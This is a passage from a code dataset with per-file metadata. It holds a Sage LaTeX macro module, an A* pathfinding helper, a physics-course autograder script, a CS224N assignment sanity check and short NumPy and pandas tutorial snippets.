tutorial latex' (for\n# example -- you could replace 'tutorial' with your favorite piece of\n# documentation), and look at the resulting tex file in\n# SAGE_DOC/latex/en/tutorial.  The preamble should contain\n# \\newcommand's for each of the entries here.\nmacros = [[\"ZZ\"],\n          [\"NN\"],\n          [\"RR\"],\n          [\"CC\"],\n          [\"QQ\"],\n          [\"QQbar\"],\n          [\"GF\", 2],\n          [\"Zp\", 2],\n          [\"Qp\", 2],\n          [\"Zmod\", 2],\n          [\"CDF\"],\n          [\"CIF\"],\n          [\"CLF\"],\n          [\"RDF\"],\n          [\"RIF\"],\n          [\"RLF\"],\n          ]\n\n# Use this list to define additional latex macros for sage documentation\nlatex_macros = [r\"\\newcommand{\\SL}{\\mathrm{SL}}\",\n                r\"\\newcommand{\\PSL}{\\mathrm{PSL}}\"]\n\n# The following is to allow customization of typesetting of rings:\n# mathbf vs mathbb.  See latex.py for more information.\nsage_configurable_latex_macros = [r\"\\newcommand{\\Bold}[1]{\\mathbf{#1}}\"]\n\n\ndef sage_latex_macros():\n    r\"\"\"\n    Return list of LaTeX macros for Sage. This just runs the function\n    :func:`produce_latex_macro` on the list ``macros`` defined in this\n    file, and appends ``sage_configurable_latex_macros``. To add a new\n    macro for permanent use in Sage, modify ``macros``.\n\n    EXAMPLES::\n\n        sage: from sage.misc.latex_macros import sage_latex_macros\n        sage: sage_latex_macros()\n        ['\\\\newcommand{\\\\ZZ}{\\\\Bold{Z}}', '\\\\newcommand{\\\\NN}{\\\\Bold{N}}', ...\n    \"\"\"\n    return [produce_latex_macro(*x) for x in macros] + latex_macros + sage_configurable_latex_macros\n\ndef sage_mathjax_macros():\n    r\"\"\"\n    Return Sage's macro definitions for usage with MathJax.\n\n    This feeds each item output by :func:`sage_latex_macros` to\n    :func:`convert_latex_macro_to_mathjax`.\n\n    EXAMPLES::\n\n        sage: from sage.misc.latex_macros import sage_mathjax_macros\n        sage: sage_mathjax_macros()\n        {'Bold': ['\\\\mathbf{#1}', 1], 'CC': '\\\\Bold{C}', ...\n    \"\"\"\n    return dict(convert_latex_macro_to_mathjax(m) for m in sage_latex_macros())\n", "meta": {"hexsha": "1605d8a22f5ac3dc044bc3be483383631a8c01f9", "size": 7679, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/latex_macros.py", "max_stars_repo_name": "LaisRast/sage", "max_stars_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/misc/latex_macros.py", "max_issues_repo_name": "LaisRast/sage", "max_issues_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/latex_macros.py", "max_forks_repo_name": "LaisRast/sage", "max_forks_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.2216981132, "max_line_length": 101, "alphanum_fraction": 0.6405782003, "include": true, "reason": "import sage,from sage", "num_tokens": 2090, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.15405756657543826, "lm_q1q2_score": 0.07282046616856196}}
{"text": "import multiprocessing as mp\nimport pyastar\nimport numpy as np\n\nfrom . import scorecard\n\ndef fast_astar(queue : mp.Queue, array: np.ndarray, start : tuple, end: tuple):\n    with open(\"./exports/costs31-12-2020.npy\", \"rb\") as f:\n        arr = np.load(f)\n        new_arr = np.zeros(arr.shape)\n        scorecard.flip_scorecard(arr, new_arr)\n        arr = new_arr\n        arr = arr.astype(np.float32)\n        queue.put(\n            pyastar.astar_path(arr, start, end, allow_diagonal=True)\n        )\n\ndef astar(array : np.ndarray, start: tuple, end :tuple):\n    try:\n        mp.set_start_method('spawn')\n    except:\n        pass\n\n    queue = mp.Queue()\n    process = mp.Process(target = fast_astar, args=(queue, array, start, end))\n    process.start()\n    path = queue.get()\n    process.join()\n    return path", "meta": {"hexsha": "96e7762fdbee29099b5c81387bf44fa6d4047912", "size": 804, "ext": "py", "lang": "Python", "max_stars_repo_path": "AIHelper/navigation/utilities/astar.py", "max_stars_repo_name": "SquarerFive/bf3-bots", "max_stars_repo_head_hexsha": "8a802a8c0eeb055e1edc16e18c9944cfc0126bfd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 23, "max_stars_repo_stars_event_min_datetime": "2021-01-15T10:40:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-16T12:57:56.000Z", "max_issues_repo_path": "AIHelper/navigation/utilities/astar.py", "max_issues_repo_name": "SquarerFive/bf3-bots", "max_issues_repo_head_hexsha": "8a802a8c0eeb055e1edc16e18c9944cfc0126bfd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 28, "max_issues_repo_issues_event_min_datetime": "2021-02-04T11:23:28.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-21T03:13:54.000Z", "max_forks_repo_path": "AIHelper/navigation/utilities/astar.py", "max_forks_repo_name": "SquarerFive/bf3-bots", "max_forks_repo_head_hexsha": "8a802a8c0eeb055e1edc16e18c9944cfc0126bfd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-02-10T14:01:38.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-17T02:48:54.000Z", "avg_line_length": 27.724137931, "max_line_length": 79, "alphanum_fraction": 0.6243781095, "include": true, "reason": "import numpy", "num_tokens": 208, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737563, "lm_q2_score": 0.13660837772343723, "lm_q1q2_score": 0.0725676507280725}}
{"text": "\n# coding: utf-8\n\n# In[111]:\n\n#########################################################\n#Program: Grader for PHY161L\n#Author: Aaron Mahler\n#\n#Dependencies: All standard python libraries\n#\n#Inputs: Requires the sakai directory structure for\n#   downloaded submission of Student/Submission\n#   Directory/files.  Change the hardcoded file\n#   names below to match submission folder name,\n#   csv file of grades(graCSV), and grader file \n#   name(cfil).\n#\n#Outputs: Prints messages to stdout, recommend redirect\n#   to desired log file.  Will save grades in csv file\n#   with  name graCSV+graded.  The grading script \n#   output is redirected to 2>errlog\n#\n#Version:   Date:      Comments:\n#0.0        24FEB17    \n#########################################################\n\nfrom __future__ import print_function #force python3 print()\nimport pandas as pd\nimport os\nimport numpy as np\nimport subprocess as sp\n\n#Hard-Code File names, extensions, etc\ngraCSV = \"gradebook_submit10.csv\" #Empty (of grades) csv file with studentIDs\nsubF = str(\"Submission attachment(s)\") #submission folder name from sakai\ncfil = \"alm_hw1check\" #Name of check file, to concatenate with submitted file\next1 = \".ipynb\" #extension of submissions\next2 = \".py\" #python extension\ndummyFile = \"dum1.csv\" #dummy file to pass info from grading scipt back to this program\n\n#gradebook csv input\narr = pd.read_csv(graCSV, quotechar='\"', skipinitialspace=True)\ngkey = arr.keys()[2] #Grade key\nckey = arr.keys()[3] #Comment Key\nsnum=int(arr.shape[0])                      #number of students\narr2 = np.empty((2, snum), dtype=object)    #array to key studentIDs to dir names\narr2[0]=arr.as_matrix().T[0]                #StudentIDs from csv\n\n\n#Directories in the top folder\ncurrDir = '.'\ndirs = [ name for name in os.listdir(currDir) if os.path.isdir(os.path.join(currDir, name)) ]\n\nif (len(dirs) != snum):\n    print(\"Warning, \",len(dirs),\" directories and\", snum,\" students in the csv!\")\n\n#Match studentIDs to directory names\nfor i in range(0,snum):\n    for j in range(0,len(dirs)):\n        if(dirs[j].find(arr2[0][i]) > -1):\n            arr2[1][i]=dirs[j]\n\n\n# In[106]:\n\n#Set Grade & Comment\n#   grade1: float of grade\n#   comment1: comment of score\n#   array: DataFrame of grades\n#   index: student index in array (row #)\n#   gkey: key in array for grade column\n#   ckey: key in array for comment column\ndef setGrade(grade1, comment1, array, index, gkey, ckey):\n    array.set_value(index,gkey,grade1)\n    array.set_value(index,ckey,comment1)    \n\n\n#bash execute command\ndef bexec(cmd1):\n     return( sp.call([\"bash\",\"-c\",cmd1]) )\n\n#Find and Replace a string throughout a file with perl thru bash\ndef bashRep(strFind,strRep,file1):\n    cmd1 = str(\"perl -p -i -e 's/\")\n    cmd1 += strFind\n    cmd1 += str(\"/\")\n    cmd1 += strRep\n    cmd1 += str(\"/g' \")\n    cmd1 += file1\n    return(bexec(cmd1)) #return if errors\n\n#grade a submitted file with a grading file that will be concatenated\n#   with the submitted file and store result in dummyFile\ndef grade(subFile,gradFile):\n    dfil=dummyFile #dummy file to pass grade and comment back to this program\n\n    #surround files with quotes to avoid whitespace errors\n    sf1 = \"\\\"\" + subFile + ext1 + \"\\\"\" #submission file with .ipynb\n    sf2 = \"\\\"\" + subFile + ext2 + \"\\\"\" #submission file with .py\n    gf2 = \"\\\"\" + gradFile + ext2 + \"\\\"\" #grading file with .py\n    catFile = \"\\\"\"+subFile+\"+grader\"+ext2+\"\\\"\"#sub file cat'd with grad file\n\n    bexec(\"jupyter nbconvert --to python \"+sf1) #Convert from .ipynb to .py \n    bexec(\"cat \" + sf2 + \" \" + gf2 + \" >\" + catFile) #concatenate grader file\n    str1 = \"get_ipython\"\n    bashRep( str1,\"#\"+str1, catFile) #remove matplotlib inline\n    str1 = \"pl.show\"\n    bashRep(str1,\"#\"+str1, catFile) #Dont show plots\n    bexec(\"mv \" + catFile + \" \" +currDir) #mv cat file to currDir\n    #if running in top directory dont need to move datafile, just have in this location\n    print( \"Running Grader: \" )\n    #need to strip directory from name now\n    cf2_path, cf2 = os.path.split(catFile[1:-1])\n    print( bexec(\"python \\\"\"+cf2+\"\\\" \"+dfil+\" 2>>errlog\") )\n   \n    dArr = pd.read_csv(dfil, skipinitialspace=True)\n    ckey = dArr.keys()[1] #Comments Key\n    gkey = dArr.keys()[2] #Grade Key\n    gread = str(dArr.get_value(0,gkey))\n    cread = str(dArr.get_value(0,ckey))\n    return (gread, cread)\n\n\n# In[109]:\n\nfor i in range(snum): #Go over all students in gradebook\n    \n    print(\"\\n==== Checking StudentID: \"+arr2[0][i]+\" ====\")\n    if( str(arr2[1][i]) != \"None\" ): #Check for folder corresponding to studentID\n        \n        #check the submission folder\n        for root, dirs, files in         os.walk(os.path.join(currDir,arr2[1][i],subF), topdown=True):\n            found = 0\n            for name in [f for f in files if not f[0] == '.']: #ignore hidden directories\n                fnam, fext = os.path.splitext(name)\n                if( fext == ext1 ) :\n                    found += 1\n                    print(\"--ipynb found--: \" + fnam)\n                    if (found == 1) :                 \n                        g1, c1 = grade(os.path.join(root, fnam), cfil)\n                        print(\"Grade, Comment: \")\n                        print(g1)\n                        print(c1)\n                        print(\"---------------\")\n                    else :                       \n                        print(\"!!!DUPLICATES!!!, found \"+str(found-1))\n                        g2, c2 = grade(os.path.join(root, fnam), cfil)\n                        print(\"Grade, Comment: \")\n                        print(g2)\n                        print(c2)\n                        print(\"---------------\")\n                        if(g2>g1): #replace g1 & c1 with max\n                            g1 = g2\n                            c1 = c2\n\n            #print('---')\n            if found == 0 :\n                com1 = \"No ipynb found. \"                \n                print(com1)\n                setGrade(0.0, com1, arr, i, gkey, ckey)\n            elif found == 1:\n                setGrade(g1, c1, arr, i, gkey, ckey)\n            else :\n                com1 = str(found)+\" different ipynb's found. Max Grade Comment: \"\n                setGrade(g1, com1+c1, arr, i, gkey, ckey)\n    \n    else : #No folder found with that studentID\n        com1 = \"No submission. \"\n        print(com1)\n        setGrade(0.0, com1, arr, i, gkey, ckey)\n\n\n# In[110]:\n\n\n\n\n# In[ ]:\n\ngnam, gext = os.path.splitext(graCSV)\ngnam += \"+graded\"\ngnam += gext\narr.to_csv(gnam)\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n", "meta": {"hexsha": "58eea14cc5cc31dcb4b9240bd0b1c188e6637499", "size": 6503, "ext": "py", "lang": "Python", "max_stars_repo_path": "testcode/PHY161autoGrader/gradeCheckerV0_0.py", "max_stars_repo_name": "mtesseracted/TestBed", "max_stars_repo_head_hexsha": "b96a655ed460b5af236ef0e51c68fc31e9c6f5d4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "testcode/PHY161autoGrader/gradeCheckerV0_0.py", "max_issues_repo_name": "mtesseracted/TestBed", "max_issues_repo_head_hexsha": "b96a655ed460b5af236ef0e51c68fc31e9c6f5d4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "testcode/PHY161autoGrader/gradeCheckerV0_0.py", "max_forks_repo_name": "mtesseracted/TestBed", "max_forks_repo_head_hexsha": "b96a655ed460b5af236ef0e51c68fc31e9c6f5d4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.1785714286, "max_line_length": 102, "alphanum_fraction": 0.5698908196, "include": true, "reason": "import numpy", "num_tokens": 1790, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37754066879814546, "lm_q2_score": 0.19193279569159502, "lm_q1q2_score": 0.0724624360497026}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCS224N 2019-20: Homework 4\nsanity_check.py: sanity checks for assignment 4\nSahil Chopra <schopra8@stanford.edu>\nMichael Hahn <>\nVera Lin <veralin@stanford.edu>\n\nIf you are a student, please don't run overwrite_output_for_sanity_check as it will overwrite the correct output!\n\nUsage:\n    sanity_check.py 1d\n    sanity_check.py 1e\n    sanity_check.py 1f\n    sanity_check.py overwrite_output_for_sanity_check\n\"\"\"\nimport sys\n\nimport numpy as np\n\nfrom docopt import docopt\nfrom utils import batch_iter\nfrom utils import read_corpus\nfrom vocab import Vocab, VocabEntry\n\nfrom nmt_model import NMT\n\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.utils\n\n#----------\n# CONSTANTS\n#----------\nBATCH_SIZE = 5\nEMBED_SIZE = 3\nHIDDEN_SIZE = 3\nDROPOUT_RATE = 0.0\n\ndef reinitialize_layers(model):\n    \"\"\" Reinitialize the Layer Weights for Sanity Checks.\n    \"\"\"\n    def init_weights(m):\n        if type(m) == nn.Linear:\n            m.weight.data.fill_(0.3)\n            if m.bias is not None:\n                m.bias.data.fill_(0.1)\n        elif type(m) == nn.Embedding:\n            m.weight.data.fill_(0.15)\n        elif type(m) == nn.Dropout:\n            nn.Dropout(DROPOUT_RATE)\n    with torch.no_grad():\n        model.apply(init_weights)\n\n\ndef generate_outputs(model, source, target, vocab):\n    \"\"\" Generate outputs.\n    \"\"\"\n    print (\"-\"*80)\n    print(\"Generating Comparison Outputs\")\n    reinitialize_layers(model)\n    model.gen_sanity_check = True\n    model.counter = 0\n\n    # Compute sentence lengths\n    source_lengths = [len(s) for s in source]\n\n    # Convert list of lists into tensors\n    source_padded = model.vocab.src.to_input_tensor(source, device=model.device)\n    target_padded = model.vocab.tgt.to_input_tensor(target, device=model.device)\n\n    # Run the model forward\n    with torch.no_grad():\n        enc_hiddens, dec_init_state = model.encode(source_padded, source_lengths)\n        enc_masks = model.generate_sent_masks(enc_hiddens, source_lengths)\n        combined_outputs = model.decode(enc_hiddens, enc_masks, dec_init_state, target_padded)\n\n    # Save Tensors to disk\n    torch.save(enc_hiddens, './sanity_check_en_es_data/enc_hiddens.pkl')\n    torch.save(dec_init_state, './sanity_check_en_es_data/dec_init_state.pkl') \n    torch.save(enc_masks, './sanity_check_en_es_data/enc_masks.pkl')\n    torch.save(combined_outputs, './sanity_check_en_es_data/combined_outputs.pkl')\n    torch.save(target_padded, './sanity_check_en_es_data/target_padded.pkl')\n\n    # 1f\n    # Inputs\n    Ybar_t = torch.load('./sanity_check_en_es_data/Ybar_t.pkl')\n    enc_hiddens_proj = torch.load('./sanity_check_en_es_data/enc_hiddens_proj.pkl')\n    reinitialize_layers(model)\n    # Run Tests\n    with torch.no_grad():\n        dec_state_target, o_t_target, e_t_target = model.step(Ybar_t, dec_init_state, enc_hiddens, enc_hiddens_proj,\n                                                        enc_masks)\n    torch.save(dec_state_target, './sanity_check_en_es_data/dec_state.pkl')\n    torch.save(o_t_target, './sanity_check_en_es_data/o_t.pkl')\n    torch.save(e_t_target, './sanity_check_en_es_data/e_t.pkl')\n\n    model.gen_sanity_check = False\n\ndef question_1d_sanity_check(model, src_sents, tgt_sents, vocab):\n    \"\"\" Sanity check for question 1d. \n        Compares student output to that of model with dummy data.\n    \"\"\"\n    print(\"Running Sanity Check for Question 1d: Encode\")\n    print (\"-\"*80)\n\n    # Configure for Testing\n    reinitialize_layers(model)\n    source_lengths = [len(s) for s in src_sents]\n    source_padded = model.vocab.src.to_input_tensor(src_sents, device=model.device)\n\n    # Load Outputs\n    enc_hiddens_target = torch.load('./sanity_check_en_es_data/enc_hiddens.pkl')\n    dec_init_state_target = torch.load('./sanity_check_en_es_data/dec_init_state.pkl')\n\n    # Test\n    with torch.no_grad():\n        enc_hiddens_pred, dec_init_state_pred = model.encode(source_padded, source_lengths)\n    assert(np.allclose(enc_hiddens_target.numpy(), enc_hiddens_pred.numpy())), \"enc_hiddens is incorrect: it should be:\\n {:} but is:\\n{}\".format(enc_hiddens_target, enc_hiddens_pred)\n    print(\"enc_hiddens Sanity Checks Passed!\")\n    assert(np.allclose(dec_init_state_target[0].numpy(), dec_init_state_pred[0].numpy())), \"dec_init_state[0] is incorrect: it should be:\\n {} but is:\\n{}\".format(dec_init_state_target[0], dec_init_state_pred[0])\n    print(\"dec_init_state[0] Sanity Checks Passed!\")\n    assert(np.allclose(dec_init_state_target[1].numpy(), dec_init_state_pred[1].numpy())), \"dec_init_state[1] is incorrect: it should be:\\n {} but is:\\n{}\".format(dec_init_state_target[1], dec_init_state_pred[1])\n    print(\"dec_init_state[1] Sanity Checks Passed!\")\n    print(\"-\"*80)\n    print(\"All Sanity Checks Passed for Question 1d: Encode!\")\n    print(\"-\"*80)\n\n\ndef question_1e_sanity_check(model, src_sents, tgt_sents, vocab):\n    \"\"\" Sanity check for question 1e. \n        Compares student output to that of model with dummy data.\n    \"\"\"\n    print(\"-\"*80)\n    print(\"Running Sanity Check for Question 1e: Decode\")\n    print(\"-\"*80)\n\n    # Load Inputs\n    dec_init_state = torch.load('./sanity_check_en_es_data/dec_init_state.pkl')\n    enc_hiddens = torch.load('./sanity_check_en_es_data/enc_hiddens.pkl')\n    enc_masks = torch.load('./sanity_check_en_es_data/enc_masks.pkl')\n    target_padded = torch.load('./sanity_check_en_es_data/target_padded.pkl')\n\n    # Load Outputs\n    combined_outputs_target = torch.load('./sanity_check_en_es_data/combined_outputs.pkl')\n    print(combined_outputs_target.shape)\n\n    # Configure for Testing\n    reinitialize_layers(model)\n    COUNTER = [0]\n    def stepFunction(Ybar_t, dec_state, enc_hiddens, enc_hiddens_proj, enc_masks):\n       dec_state = torch.load('./sanity_check_en_es_data/step_dec_state_{}.pkl'.format(COUNTER[0]))\n       o_t = torch.load('./sanity_check_en_es_data/step_o_t_{}.pkl'.format(COUNTER[0]))\n       COUNTER[0]+=1\n       return dec_state, o_t, None\n    model.step = stepFunction\n\n    # Run Tests\n    with torch.no_grad():\n        combined_outputs_pred = model.decode(enc_hiddens, enc_masks, dec_init_state, target_padded)\n    assert(np.allclose(combined_outputs_pred.numpy(), combined_outputs_target.numpy())), \"combined_outputs is incorrect: it should be:\\n {} but is:\\n{}\".format(combined_outputs_target, combined_outputs_pred)\n    print(\"combined_outputs Sanity Checks Passed!\")\n    print(\"-\"*80)\n    print(\"All Sanity Checks Passed for Question 1e: Decode!\")\n    print(\"-\"*80)\n\ndef question_1f_sanity_check(model, src_sents, tgt_sents, vocab):\n    \"\"\" Sanity check for question 1f. \n        Compares student output to that of model with dummy data.\n    \"\"\"\n    print (\"-\"*80)\n    print(\"Running Sanity Check for Question 1f: Step\")\n    print (\"-\"*80)\n    reinitialize_layers(model)\n\n    # Inputs\n    Ybar_t = torch.load('./sanity_check_en_es_data/Ybar_t.pkl')\n    dec_init_state = torch.load('./sanity_check_en_es_data/dec_init_state.pkl')\n    enc_hiddens = torch.load('./sanity_check_en_es_data/enc_hiddens.pkl')\n    enc_masks = torch.load('./sanity_check_en_es_data/enc_masks.pkl')\n    enc_hiddens_proj = torch.load('./sanity_check_en_es_data/enc_hiddens_proj.pkl')\n\n    # Output\n    dec_state_target = torch.load('./sanity_check_en_es_data/dec_state.pkl')\n    o_t_target = torch.load('./sanity_check_en_es_data/o_t.pkl')\n    e_t_target = torch.load('./sanity_check_en_es_data/e_t.pkl')\n\n    # Run Tests\n    with torch.no_grad():\n        dec_state_pred, o_t_pred, e_t_pred= model.step(Ybar_t, dec_init_state, enc_hiddens, enc_hiddens_proj, enc_masks)\n    assert(np.allclose(dec_state_target[0].numpy(), dec_state_pred[0].numpy())), \"decoder_state[0] is incorrect: it should be:\\n {} but is:\\n{}\".format(dec_state_target[0], dec_state_pred[0])\n    print(\"dec_state[0] Sanity Checks Passed!\")\n    assert(np.allclose(dec_state_target[1].numpy(), dec_state_pred[1].numpy())), \"decoder_state[1] is incorrect: it should be:\\n {} but is:\\n{}\".format(dec_state_target[1], dec_state_pred[1])\n    print(\"dec_state[1] Sanity Checks Passed!\")\n    assert(np.allclose(o_t_target.numpy(), o_t_pred.numpy())), \"combined_output is incorrect: it should be:\\n {} but is:\\n{}\".format(o_t_target, o_t_pred)\n    print(\"combined_output  Sanity Checks Passed!\")\n    assert(np.allclose(e_t_target.numpy(), e_t_pred.numpy())), \"e_t is incorrect: it should be:\\n {} but is:\\n{}\".format(e_t_target, e_t_pred)\n    print(\"e_t Sanity Checks Passed!\")\n    print(\"-\"*80)\n    print(\"All Sanity Checks Passed for Question 1f: Step!\")\n    print(\"-\"*80)\n\n\ndef main():\n    \"\"\" Main func.\n    \"\"\"\n    # args = docopt(__doc__)\n    args = {'1d': False,\n     '1e': False,\n     '1f': True,\n     'overwrite_output_for_sanity_check': False}\n\n    # print(args)\n    # Check Python & PyTorch Versions\n    assert (sys.version_info >= (3, 5)), \"Please update your installation of Python to version >= 3.5\"\n    assert(torch.__version__ >= \"1.0.0\"), \"Please update your installation of PyTorch. You have {} and you should have version 1.0.0\".format(torch.__version__)\n\n    # Seed the Random Number Generators\n    seed = 1234\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    np.random.seed(seed * 13 // 7)\n\n    # Load training data & vocabulary\n    train_data_src = read_corpus('./sanity_check_en_es_data/train_sanity_check.es', 'src')\n    train_data_tgt = read_corpus('./sanity_check_en_es_data/train_sanity_check.en', 'tgt')\n    train_data = list(zip(train_data_src, train_data_tgt))\n\n    for src_sents, tgt_sents in batch_iter(train_data, batch_size=BATCH_SIZE, shuffle=True):\n        src_sents = src_sents\n        tgt_sents = tgt_sents\n        break\n    vocab = Vocab.load('./sanity_check_en_es_data/vocab_sanity_check.json') \n\n    # Create NMT Model\n    model = NMT(\n        embed_size=EMBED_SIZE,\n        hidden_size=HIDDEN_SIZE,\n        dropout_rate=DROPOUT_RATE,\n        vocab=vocab)\n\n    if args['1d']:\n        question_1d_sanity_check(model, src_sents, tgt_sents, vocab)\n    elif args['1e']:\n        question_1e_sanity_check(model, src_sents, tgt_sents, vocab)\n    elif args['1f']:\n        question_1f_sanity_check(model, src_sents, tgt_sents, vocab)\n    elif args['overwrite_output_for_sanity_check']:\n        generate_outputs(model, src_sents, tgt_sents, vocab)\n    else:\n        raise RuntimeError('invalid run mode')\n\n\nif __name__ == '__main__':\n    main()\n    \n", "meta": {"hexsha": "7cce01c19e3a77138f3cbb1c4603ad5d23533e53", "size": 10363, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignments/assignment4/MakiNaruto/sanity_check.py", "max_stars_repo_name": "stxxllbu/CS224n-winter-together", "max_stars_repo_head_hexsha": "eae158ed8e88dc7c8638e25bac4c4fc8eeddcc8c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 468, "max_stars_repo_stars_event_min_datetime": "2020-02-09T17:55:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T05:19:57.000Z", "max_issues_repo_path": "Assignments/assignment4/MakiNaruto/sanity_check.py", "max_issues_repo_name": "stxxllbu/CS224n-winter-together", "max_issues_repo_head_hexsha": "eae158ed8e88dc7c8638e25bac4c4fc8eeddcc8c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 16, "max_issues_repo_issues_event_min_datetime": "2020-02-09T15:35:09.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-22T14:10:07.000Z", "max_forks_repo_path": "Assignments/assignment4/MakiNaruto/sanity_check.py", "max_forks_repo_name": "stxxllbu/CS224n-winter-together", "max_forks_repo_head_hexsha": "eae158ed8e88dc7c8638e25bac4c4fc8eeddcc8c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 168, "max_forks_repo_forks_event_min_datetime": "2020-02-09T13:10:44.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-18T13:23:28.000Z", "avg_line_length": 39.8576923077, "max_line_length": 212, "alphanum_fraction": 0.704815208, "include": true, "reason": "import numpy", "num_tokens": 2705, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038985, "lm_q2_score": 0.16667540882736176, "lm_q1q2_score": 0.07233403806968709}}
{"text": "import numpy as np\n\n# The copy method makes a complete copy of the array and its data.\na = np.arange(10)\n# a new array object with new data is created\nb = a.copy()\nprint(\"is operator : \",b is a)\nprint(\"base attribute : \",b.base is a)\nb.shape = 2,5\nprint(\"shape of a (not changed): \",a.shape)\nb[0,4] = 10\n# data also not changed\nprint(\"array a (not changed) : \",a)\n\n# Sometimes copy should be called after slicing if the original array is not required anymore.\n# For example, suppose a is a huge intermediate result and the final result b only contains a\n# small fraction of a, a deep copy should be made when constructing b with slicing:\n\n#  XeY means x * 10^Y\na = np.arange(int(1e3))\nb = a[0:100].copy()\ndel a  # the memory of ``a`` can be released.\n# If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed.\n\n", "meta": {"hexsha": "6e266c77e6750be91e441b493550650c54431b60", "size": 861, "ext": "py", "lang": "Python", "max_stars_repo_path": "python-numpy/Python_NumPy/copiesandviews/DeepCopy.py", "max_stars_repo_name": "theumang100/tutorials-1", "max_stars_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-04-23T05:24:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T16:37:51.000Z", "max_issues_repo_path": "python-numpy/Python_NumPy/copiesandviews/DeepCopy.py", "max_issues_repo_name": "theumang100/tutorials-1", "max_issues_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-10-01T05:08:37.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-12T03:18:10.000Z", "max_forks_repo_path": "python-numpy/Python_NumPy/copiesandviews/DeepCopy.py", "max_forks_repo_name": "theumang100/tutorials-1", "max_forks_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2020-04-28T14:06:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-19T18:32:28.000Z", "avg_line_length": 34.44, "max_line_length": 108, "alphanum_fraction": 0.7026713124, "include": true, "reason": "import numpy", "num_tokens": 244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.148047190513802, "lm_q1q2_score": 0.07228898484808853}}
{"text": "# what is pandas?\n# 1) Pandas is a powerful python data analysis toolkit.\n# 2) Open source\n# 3) A fast and efficient dataframe object for data manipulation.\n# 4) Reading and writing data structures and different formates:\n# csv, tsv, txt, XML, JSON, ZIP, etc.\n# series: 1D array in pandas(only one column), dataframe: 2D array in pandas(multiple columns).\n# numpy vs pandas: numpy array is used for implementation of pandas data objects\n\nimport pandas as pd\n# print(pd.__version__)               # to check version of pandas module\n# series1 = pd.Series([1, -2, \"omkar\", 2.5])         # basic pandas series creation\n# series2 = pd.Series([1, -2], index=[\"a\", \"b\"], dtype=float)     # set index and datatype while create series in pandas\n# print(series2[0:2])                              # to retrieve particular data from dataframe use colon\n# print(series1 + series2)                        # performing arithmetic operation on two pandas series\n\n# df1 = pd.DataFrame([[1, 2, 3], [-2, \"omkar\", 2.5]])     # creating dataframe with only lists\n# df2 = pd.DataFrame([{\"a\": 1, \"b\": 2}, {\"a\": 11, \"b\": 22, \"c\": 33}])# another way to create dataframes (NaN=miss value)\n\n# print(df.columns)                           # to get all columns name from dataframe\n# print(pd.read_csv(\"friends.csv\", nrows=2))    # to retrieve certain rows from dataframe\n# print(pd.read_csv(\"friends.csv\", usecols=[1, 2]))    # to retrieve specific column from dataframe\n# print(pd.read_csv(\"friends.csv\", index_col=2))    # to set any column as index\n\n# print(pd.read_csv(\"friends.csv\", header=None, prefix=\"col\"))  # to create header to dataframe as col0, col1, so on.\n\n# 